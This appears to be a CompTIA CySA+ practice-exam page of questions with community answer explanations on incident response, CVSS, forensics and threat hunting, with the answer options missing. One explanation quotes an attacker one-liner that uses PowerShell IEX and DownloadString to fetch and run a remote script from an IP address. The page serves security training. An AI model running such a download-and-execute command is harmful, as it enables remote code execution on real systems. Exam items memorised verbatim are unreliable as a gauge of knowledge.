CompTIA Cybersecurity Analyst (CySA+)527 questions across 53 pages are complete and free, with no account or card.
527 questions in this bank
Free access · progress saved on this device
A cybersecurity analyst is recommending a solution to ensure emails that contain links or attachments are tested before they reach a mail server. Which of the following will the analyst most likely recommend?
Answer: A
An analyst reviews a recent government alert on new zero-day threats and finds the following CVE metrics for the most critical of the vulnerabilities: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H/E:U/RL:W/RC:R Which of the following represents the exploit code maturity of this critical vulnerability?
Answer: A
The CVE metric that represents the exploit code maturity of this critical vulnerability is: E: U stands for "Exploit Code Maturity: Unproven." This indicates that while the vulnerability is critical, there is currently no known or publicly available exploit code.
Source: Adapted from community discussion — gomet2000
A security analyst detects an email server that had been compromised in the internal network. Users have been reporting strange messages in their email inboxes and unusual network traffic. Which of the following incident response steps should be performed next?
Answer: C
C. Containment Explanation: Containment involves isolating the compromised system to prevent the attack from spreading further or causing more damage. In this case, containing the compromised email server would be crucial to stopping any further unauthorized access, spam, or malware distribution within the network.
Source: Adapted from community discussion — gomet2000
A SIEM alert is triggered based on execution of a suspicious one-liner on two workstations in the organization’s environment. An analyst views the details of these events below:
Which of the following statements best describes the intent of the attacker, based on this one-liner?
Answer: C
The one-liner provided in the image executes the following steps: Rundll32.exe is used to run a JavaScript command. The JavaScript command creates an instance of ActiveXObject to run a PowerShell command. The PowerShell command (IEX (New-Object Net.WebClient).DownloadString('77.247.109.185/AccessToken.ps1')) is used to download and execute a script (AccessToken.ps1) from a remote server. Best Description of the Attack Intent: The intent of the attacker, based on this one-liner, is most accurately described by the following statement: C. Attacker is executing PowerShell script “AccessToken.ps1”
Source: Adapted from community discussion — gomet2000
When investigating a potentially compromised host, an analyst observes that the process BGInfo.exe (PID 1024), a Sysinternals tool used to create desktop backgrounds containing host details, has been running for over two days. Which of the following activities will provide the best insight into this potentially malicious process, based on the anomalous behavior?
Answer: D
When investigating suspicious processes, analyzing the specific activities of the PID in question provides the most direct insight into whether it is behaving maliciously. This includes actions like file modifications, network connections, memory usage, and system calls made by that process. In this case, the process BGInfo.exe—a legitimate Sysinternals tool—is behaving anomalously (running for an extended period, which is uncommon for such a tool). Observing PID 1024's activities will help determine if the process has been tampered with, replaced, or is being abused by an attacker.
Source: Adapted from community discussion — luiiizsoares
Which of the following evidence collection methods is most likely to be acceptable in court cases?
Answer: D
D. Providing a bit-level image of the hard drive A bit-level image (or forensic image) captures an exact, sector-by-sector copy of the entire hard drive, preserving all data, including deleted files, unallocated space, and system metadata. This method ensures the integrity of the evidence and allows for proper forensic analysis while maintaining the chain of custody, making it highly acceptable in legal proceedings. It is considered the most reliable method for evidence collection because it captures all aspects of the system in its state at the time of collection.
Source: Adapted from community discussion — luiiizsoares
A cybersecurity analyst has recovered a recently compromised server to its previous state. Which of the following should the analyst perform next?
Answer: D
Forensic analysis is crucial after recovery because it allows the analyst to understand how the compromise occurred, what the attacker did, and whether any remnants of the attack remain. This step is essential to ensure that the root cause of the incident is identified and addressed, preventing future compromises. Reporting is important, but it should follow after a thorough forensic analysis to ensure the report is comprehensive and accurate.
Source: Adapted from community discussion — gomet2000
SIMULATION - You are a penetration tester who is reviewing the system hardening guidelines for a company's distribution center. The company's hardening guidelines indicate the following: • There must be one primary server or service per device. • Only default ports should be used. • Non-secure protocols should be disabled. • The corporate Internet presence should be placed in a protected subnet. INSTRUCTIONS - Using the tools available, discover devices on the corporate network and the services that are running on these devices. You must determine: • The IP address of each device. • The primary server or service of each device. • The protocols that should be disabled based on the hardening guidelines. If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
This is an interactive task on the real exam — a drag-and-drop, hotspot or ordering question. There is nothing to select here, so the answer is shown below for reference.
Answer: See figure below
Note that you have to type the nmap commands yourself nmap and the computer name of each one. CandyMan- File Server, 192.168.1.20, FTP21 FarmerLaura- Mail Server 192.168.1.30, IMAP 143 SandwichSara- Database, 192.168.1.40, DNS 53 Farmer Ted- Switch, 192.168.1.10, Telenet 23 Lunch TimeMike- Webserver, 10.10.10.25, HTTP 80
Source: Adapted from community discussion — ID77
A cybersecurity analyst has been assigned to the threat-hunting team to create a dynamic detection strategy based on behavioral analysis and attack patterns. Which of the following best describes what the analyst will be creating?
Answer: C
Tactics, Techniques and Procedures (TTPs) are methods, tools and strategies that cyber threat actors use to develop and execute cyber attacks.
Source: Adapted from community discussion — ID77
A technician identifies a vulnerability on a server and applies a software patch. Which of the following should be the next step in the remediation process?
Answer: C
Validation involves verifying if the applied patch has effectively resolved the vulnerability and has not caused any unintended disruptions to the server's functionality.
Source: Adapted from community discussion — Cyberjerry
Keyboard:J Kmove between questionsA–Dselect an answerRshow or hide the answer← →change page
CS0-003 practice, question 181. 527 questions available.
Version 1.0.0. How we source questions